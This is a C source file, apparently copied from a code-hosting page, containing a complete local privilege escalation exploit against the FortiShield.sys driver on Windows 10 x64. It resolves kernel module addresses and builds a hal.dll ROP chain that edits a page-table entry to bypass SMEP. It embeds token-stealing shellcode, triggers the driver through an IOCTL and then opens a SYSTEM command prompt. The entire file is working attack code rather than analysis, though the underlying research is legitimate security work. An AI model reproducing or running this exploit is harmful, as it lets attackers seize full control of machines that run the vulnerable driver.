204 lines
No EOL
6.6 KiB
C
204 lines
No EOL
6.6 KiB
C
/*
|
|
Check this out:
|
|
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
|
|
Tested on:
|
|
- Windows 10 Pro x64 (Pre-Anniversary)
|
|
- hal.dll: 10.0.10240.16384
|
|
- FortiShield.sys: 5.2.3.633
|
|
Thanks to master @ryujin and @ronin for helping out.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <Windows.h>
|
|
#include <Psapi.h>
|
|
|
|
#pragma comment (lib,"psapi")
|
|
|
|
ULONGLONG get_pxe_address_64(ULONGLONG address) {
|
|
|
|
ULONGLONG result = address >> 9;
|
|
result = result | 0xFFFFF68000000000;
|
|
result = result & 0xFFFFF6FFFFFFFFF8;
|
|
return result;
|
|
|
|
}
|
|
|
|
LPVOID GetBaseAddr(char *drvname) {
|
|
|
|
LPVOID drivers[1024];
|
|
DWORD cbNeeded;
|
|
int nDrivers, i = 0;
|
|
|
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
|
|
|
|
char szDrivers[1024];
|
|
nDrivers = cbNeeded / sizeof(drivers[0]);
|
|
for (i = 0; i < nDrivers; i++) {
|
|
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
|
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
|
if (strcmp(szDrivers, drvname) == 0) {
|
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
|
return drivers[i];
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
DWORD trigger_callback() {
|
|
|
|
printf("[+] Creating dummy file\n");
|
|
system("echo test > test.txt");
|
|
|
|
printf("[+] Calling MoveFileEx()\n");
|
|
BOOL MFEresult;
|
|
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
|
|
if (MFEresult == 0)
|
|
{
|
|
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int main() {
|
|
|
|
HANDLE forti;
|
|
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (forti == INVALID_HANDLE_VALUE) {
|
|
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
LPVOID hal_base = GetBaseAddr("hal.dll");
|
|
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
|
|
|
|
ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
|
|
ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
|
|
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
|
|
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
|
|
|
|
printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
|
|
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
|
|
printf("[+] PTE virtual address at: %llx\n", va_pte);
|
|
|
|
DWORD IoControlCode = 0x220028;
|
|
ULONGLONG InputBuffer = hal_pivot;
|
|
DWORD InputBufferLength = 0x8;
|
|
ULONGLONG OutputBuffer = 0x0;
|
|
DWORD OutputBufferLength = 0x0;
|
|
DWORD lpBytesReturned;
|
|
|
|
HANDLE pid;
|
|
pid = GetCurrentProcess();
|
|
ULONGLONG allocate_address = 0x0000000047FF016F;
|
|
LPVOID allocate_shellcode;
|
|
allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (allocate_shellcode == NULL) {
|
|
printf("[!] Error while allocating shellcode: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
char *shellcode;
|
|
DWORD shellcode_size = 0x12000;
|
|
ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret
|
|
ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
|
|
ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret
|
|
ULONGLONG rop_04 = va_pte;
|
|
ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret
|
|
ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret
|
|
ULONGLONG rop_07 = allocate_address + 0x10040;
|
|
ULONGLONG rop_08 = fortishield_callback;
|
|
ULONGLONG rop_09 = fortishield_restore;
|
|
|
|
//;kd> dt -r1 nt!_TEB
|
|
//; +0x110 SystemReserved1 : [54] Ptr64 Void
|
|
//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
|
|
//kd> u nt!PsGetCurrentProcess
|
|
//nt!PsGetCurrentProcess:
|
|
//mov rax,qword ptr gs:[188h]
|
|
//mov rax,qword ptr [rax+0B8h]
|
|
|
|
// TOKEN STEALING & RESTORE
|
|
// start:
|
|
// mov rdx, [gs:0x188]
|
|
// mov r8, [rdx+0x0b8]
|
|
// mov r9, [r8+0x2f0]
|
|
// mov rcx, [r9]
|
|
// find_system_proc:
|
|
// mov rdx, [rcx-0x8]
|
|
// cmp rdx, 4
|
|
// jz found_it
|
|
// mov rcx, [rcx]
|
|
// cmp rcx, r9
|
|
// jnz find_system_proc
|
|
// found_it:
|
|
// mov rax, [rcx+0x68]
|
|
// and al, 0x0f0
|
|
// mov [r8+0x358], rax
|
|
// restore:
|
|
// mov rbp, qword ptr [rsp+0x80]
|
|
// xor rbx, rbx
|
|
// mov [rbp], rbx
|
|
// mov rbp, qword ptr [rsp+0x88]
|
|
// mov rax, rsi
|
|
// mov rsp, rax
|
|
// sub rsp, 0x20
|
|
// jmp rbp
|
|
|
|
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
|
|
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
|
|
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
|
|
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
|
|
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
|
|
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
|
|
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
|
|
|
|
shellcode = (char *)malloc(shellcode_size);
|
|
memset(shellcode, 0x41, shellcode_size);
|
|
memcpy(shellcode + 0x10008, &rop_01, 0x08);
|
|
memcpy(shellcode + 0x10010, &rop_02, 0x08);
|
|
memcpy(shellcode + 0x10018, &rop_03, 0x08);
|
|
memcpy(shellcode + 0x10020, &rop_04, 0x08);
|
|
memcpy(shellcode + 0x10028, &rop_05, 0x08);
|
|
memcpy(shellcode + 0x10030, &rop_06, 0x08);
|
|
memcpy(shellcode + 0x10038, &rop_07, 0x08);
|
|
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
|
|
memcpy(shellcode + 0x100C0, &rop_08, 0x08);
|
|
memcpy(shellcode + 0x100C8, &rop_09, 0x08);
|
|
|
|
BOOL WPMresult;
|
|
SIZE_T written;
|
|
WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
|
|
if (WPMresult == 0)
|
|
{
|
|
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
HANDLE hThread;
|
|
LPDWORD hThread_id = 0;
|
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
|
|
if (hThread == NULL)
|
|
{
|
|
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
BOOL hThread_priority;
|
|
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
|
|
if (hThread_priority == 0)
|
|
{
|
|
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
BOOL triggerIOCTL;
|
|
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
system("start cmd.exe");
|
|
return 0;
|
|
} |